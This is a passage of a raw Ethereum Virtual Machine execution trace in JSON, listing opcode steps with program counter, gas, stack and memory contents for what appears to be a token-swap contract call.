000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8304,"op":"PUSH1","gas":117500,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000","0x100","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8306,"op":"ADD","gas":117497,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000","0x100","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8307,"op":"ADD","gas":117494,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000","0x100","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8308,"op":"DUP2","gas":117491,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000","0x120"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8309,"op":"DUP2","gas":117488,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000","0x120","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8310,"op":"MSTORE","gas":117485,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000","0x120","0x4563918244f40000","0x120"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8311,"op":"POP","gas":117482,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000","0x120"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8312,"op":"POP","gas":117480,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8313,"op":"PUSH1","gas":117478,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8315,"op":"JUMPDEST","gas":117475,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8316,"op":"PUSH1","gas":117474,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8318,"op":"DUP4","gas":117471,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8319,"op":"MLOAD","gas":117468,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8320,"op":"PUSH2","gas":117465,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8323,"op":"SWAP2","gas":117462,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x1","0x2","0x2089"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8324,"op":"SWAP1","gas":117459,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x2089","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8325,"op":"PUSH2","gas":117456,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x2089","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8328,"op":"JUMP","gas":117453,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x2089","0x1","0x2","0x3b1a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15130,"op":"JUMPDEST","gas":117445,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x2089","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15131,"op":"PUSH1","gas":117444,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x2089","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15133,"op":"DUP3","gas":117441,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x2089","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15134,"op":"DUP3","gas":117438,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x2089","0x1","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15135,"op":"LT","gas":117435,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x2089","0x1","0x2","0x0","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15136,"op":"ISZERO","gas":117432,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x2089","0x1","0x2","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15137,"op":"PUSH2","gas":117429,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x2089","0x1","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15140,"op":"JUMPI","gas":117426,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x2089","0x1","0x2","0x0","0x1","0x3b2c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15148,"op":"JUMPDEST","gas":117416,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x2089","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15149,"op":"POP","gas":117415,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x2089","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15150,"op":"SUB","gas":117413,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x2089","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15151,"op":"SWAP1","gas":117410,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x2089","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15152,"op":"JUMP","gas":117407,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x1","0x2089"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8329,"op":"JUMPDEST","gas":117399,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb